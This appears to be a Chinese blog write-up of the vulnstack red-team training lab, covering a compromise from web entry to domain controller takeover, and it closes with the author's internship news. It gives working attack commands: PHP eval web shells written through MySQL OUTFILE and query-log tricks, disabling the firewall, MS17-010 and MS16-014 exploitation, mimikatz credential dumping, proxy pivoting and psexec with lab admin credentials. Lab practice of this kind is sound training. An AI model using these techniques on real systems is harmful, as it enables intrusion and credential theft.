介紹及環境搭建
靶機地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶機說明:
紅隊實戰系列,主要以真實企業環境為實例搭建一系列靶場,通過練習、視頻教程、博客三位一體學習。另外本次實戰完全模擬 ATT&CK 攻擊鏈路進行搭建,開成完整閉環。后續也會搭建真實 APT 實戰環境,從實戰中成長。虛擬機所有統一密碼:hongrisec@2019
配置網絡,網絡配置如下:

可以選擇kali主機和web服務器(WIN7)直接開啟NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web服務器和kali主機是可以開啟NAT訪問外網的;
網絡架構:

虛擬機環境:

kali(攻擊機)以及三台服務器的配置:

開機這樣:

需要先開啟phpstudy:

注意win7的雙網卡設置,並ping內網

win7雙網卡,並且都可以ping通kali主機,且注意可以ping通內網,因為正常情況下DMZ區可以訪問外網;
滲透web服務器流程
先發現主機:netdiscover -i eth0 -r 192.168.52.0/24
發現143主機之后,對其進行端口探測:
nmap -T4 -A -v -Pn IP
最常用的一種掃描
T4 設置時序,越高掃描越快
A 啟用操作系統檢測,版本檢測,腳本掃描和跟蹤路由
v 增加詳細級別(使用-vv或更高級別以獲得更好的效果)
Pn 無ping掃描

開放了80,3306這兩個重要的端口
訪問80端口,看到絕對路徑,這個可是對后期滲透很有用的

** 絕對路徑 C:/phpStudy/WWW
最下面檢測mysql連接:root,root可以連接**

端口檢測完成,到掃描目錄步驟:
常規掃描只有phpmyadmin,這個字典不太行,直接用御劍的;


訪問beifen.rar將文件下載,查看

robots.txt文件顯示yxcms,訪問

前台泄露了賬號,密碼,登錄后發現有如下重要功能

可以嘗試SQL寫入shell,上傳shell
首頁的留言本可以實現存儲型xss,盜取管理員cookie,誘導點擊鏈接等。

查看此處的前台模板,可以自己添加模板,因為有源碼備份文件,去查找default文件位置

可以確定寫入模板位置位於:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php

寫入之后拿蟻劍連接

直接上傳寫shell,可以連接

這里我打算嘗試一波目錄遍歷寫入shell,不知是否可行

此處我上傳成功了,並且蟻劍連接成功。但是前台沒有顯示../../../../../dudu2.php

此處的碎片刪除界面,可以進行dnslog帶外注入

具體分析查看:https://www.freebuf.com/column/162886.html
之前的phpmyadmin可以登錄,嘗試SQL寫入shell
嘗試執行SQL語句寫入shell,寫入shell的幾個條件:
數據庫此刻為root權限或者擁有File權限
知道網站絕對路徑
PHP的GPC參數為關閉狀態
Mysql中的secure_file_priv參數不能為Null狀態
secure-file-priv特性:
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄
當secure_file_priv的值為null ,表示限制mysql 不允許導入|導出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的導入|導出做限制
可以在mysql-ini文件中設置其屬性
這里值是NULL,直接into outfile寫不了shell

如果想通過into寫入文件,修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 區別在於使用outfile時,文件中一行的末尾會自動換行
這里直接寫shell不行,可以在SQL中開啟日志記錄,因為phpmyadmin泄露了絕對路徑,然后指定位置寫入shell
這里開啟全局日志記錄:

查看當前的日志記錄:

指定日志文件存放於哪個目錄,方便連接操作

寫入shell,連接密碼dudu3

蟻劍去連接:
剛開始去連接,沒連上,以為SQL命令不合適,重復執行了一遍;
又去phpstudy查看效果,在www目錄下,我連接是寫的cms目錄下,人傻了


還有一種方法利用慢日志寫shell
一般都是通過long_query_time選項來設置這個時間值的,時間以秒為單位,可以精確到微妙。如果查詢時間
超過了這個時間值,這個查詢語句將會被記錄到慢查詢日志中;
查看服務器默認時間值方式:
show global variables like '%long_query_time%';
開啟慢查詢(關閉參數為0):
set global slow_query_log=1;
查看結果:
show global variables like '%slow%'; # 是否slow_query_log為ON
修改slow_query_log_file日志文件的絕對路徑和文件名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最后進行查詢:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);




執行最后一條語句需要注意:一般$_POST['']里面的內容會加引號,這里寫入時不能加引號,否則語句執行不成功

去蟻劍連接就行,密碼dudu4


前滲透基本結束,4種拿shell方式;
后滲透流程
我本來想直接利用公網VPS的CS服務器,在自己本機實現上線,但是還要牽扯代理,隧道諸多復雜事項,這個
靶機的初衷是web服務器置於外網,這樣屬於多層網絡架構,可能無法拿下。只能利用kali主機的MSF,然后將CS
服務器起到ubuntu,然后win7電腦客戶端實現上線;

然后給unbuntu和win7安裝CS服務器和客戶端,,,過程省略。。。
CS服務器

CS客戶端

然后選擇監聽器唄,用蟻劍上傳CS生成的木馬

這里生成木馬,拿蟻劍連接最好先去蟻劍關閉防火牆;
蟻劍終端執行:netsh advfirewall set allprofiles state off


一直不上線,,,兩邊的防火牆也都關了
搞了好久,發現是監聽器設置錯了,沒有設置為自己服務器的地址,設置CS客戶端的地址;
蟻劍執行上傳的exe就行,防火牆之前關閉了,這里執行完就能上線主機

后滲透正式開始
先將這台主機的sleep設置為0,因為是靶機,正常環境不能太快;
對這台主機進行信息收集;


這里仔細分析一下,224為外網段,52為內網段,win環境中,DNS服務器一般是和DC綁定的,之前部署時需要綁定設置;所以52.138初步判斷為域控的ip地址,繼續信息收集;


對主機基本信息收集
查詢操作系統及軟件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統
查看系統體系結構
echo %PROCESSOR_ARCHITECTURE%
PowerShell收集軟件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
查看當前權限
whoami && whoami /priv
查詢本機服務信息
wmic service list brief
查看安裝的軟件的版本、路徑等
wmic product get name, version
查詢進程信息
wmic process list brief
查看啟動程序信息
wmic startup get command,caption


然后查看一下是否存在常見的殺毒軟件進程,,,


命令很多,寫個筆記,用的時候順着往下敲,就知道了
這里就去定位域了,之前已經初步判斷了存在域
前面判斷了存在域,且DNS域名為god.org

然后我判斷域用戶角色和時間定位域的時候,出現錯誤提示5,這種情況說明此賬戶不是域用戶,權限不夠;(此處花費我很久時間去排查原因,最后發現是NAT網絡原因,nslookup域名的時候也會出到外網,最后重新設置了一下win7主機的網卡才行)
然后查看主域信息以及時間服務器;

systeminfo查看了所在域環境和補丁情況

查詢當前的登錄域與用戶信息

這個時候域信息基本清楚,就得定位域控了;因為之前發現ipconfig/all發現了dns服務器地址,就不在nslookup去解析了

查看域內的用戶

獲取域內用戶的詳細信息:wmic useraccount get /all

查看所有域成員計算機列表:net group "domain computers" /domain

查看域管理員的用戶組:net group "domain admins" /domain

查詢域系統管理員用戶組:net group "Enterprise admins" /domain

查看域控制器:net group "domain controllers" /domain

獲取域密碼信息:net accounts /domain

基本域信息探測完畢,初步對域內主機賬戶有了初步了解,接下來就是提權,橫向;
方法一:
·這里可以將MSF生成的馬用蟻劍上傳至WIN7服務器,而后運行
·反彈個shell給MSF(如果是powershell運行記得,修改策略,set-execut ionpolicy unrestricted)
·之前收集過systeminfo,這里使用第三方工具Windows-Exploit-Suggester去檢測可以用漏洞;
(下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而后去kali中利用
·存在MS16-014,MSF進行提權,nt authrity\system
·在win7主機上配置靜態路由,run autoroute -s 192.168.52.0/24
·MSF自帶掃描端口模塊,auxiliary/scanner/portscan/tcp set rhosts(掃描的主機) 掃描的端口(80,445,3389)
·使用ms17-010 comand模塊進行執行命令
·這里把shell反彈給cs,cs直接上線system權限,無需提權
·抓Hash密碼,再掃描內網段
·添加SMB會話,psexec拿域控的shell
·beacon開啟3389之后,就回到kali里面配置socks4a的代理,vi etc/proxychains.conf 添加socks4 x.x.x.x(MSF地址)port
·proxychains nc -v DCip 3389 proxychains redesktop DCip 3389 至此MSF結合CS,拿下整個域控過程完結
方法二:
獲取了一個CS的beacon后可以目標內網情況和端口開放:
在beacon上右鍵->目標->選擇net view或者port scan:

執行后在Targets選項卡看到掃描的主機:

這個時候去用CS的hashdump去讀內存密碼,用mimakatz讀注冊表密碼:logonpasswords
權限不夠可以先去提權,插件Elevatekit

抓取密碼后探測內網其他主機:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
這條命令是不需要進行免殺的,是系統命令

這里還有k8大神的工具ladon,內容豐富,掃描快
主要介紹SMB beacon,CS派生SMB beacon
SMB beacon通過命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子beacon從父beacon獲取到任務並發送。因為鏈接的Beacons使用windows命名管道進行通信,此流量封裝於SMB協議中,所以SMB beacon相對隱蔽,繞過防火牆會有奇效
第一種是在已經有的beacon上創建監聽,用來作為跳板內網穿透,前提是通過shell訪問其他內網主機,也就是獲取DC的方法一
第二種就是直接派生一個孩子,目的為了進一步盜取內網主機的hash
新建一個listener,payload設置為Beacon SMB:

在已有的beacon上右鍵spawn生成會話,進行派生
選擇創建的smb beacon的listener:選擇后會反彈一個子會話,在external的ip后面會有一個連接圖標


派生的SMB當前沒有連接,可以在主beacon上連接它 link host
psexec使用憑證來登錄其他主機
橫向已經探測到了獲取內網的其他Targets以及讀取到的憑證信息
可以利用psexec模塊登錄其他主機
右鍵選擇非域控主機(OWA)的psexec模塊:
選擇后,結果圖


分別執行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最后依次得到了三台內網主機的system權限,圖標試圖:

這里還可以使用Token竊取

竊取token,然后再psexec,選擇使用token

基本整個靶場就結束了,耗時三天;大概邊做邊記錄了,排版什么的也沒有注意,內網這塊兒還是比較菜的,參考了很多文章,才磕磕碰碰結束
7月份就去實習了,投的北京的四家崗位,某宇沒有面試過,還有一個甲方面過了但是因為學校7月離校,遺憾的通知我說已經沒有編制了,不過也好在拿到了心儀公司的實習offer,因為明年畢業,5輪面試的是春招崗位,但是只能拿實習的offer了
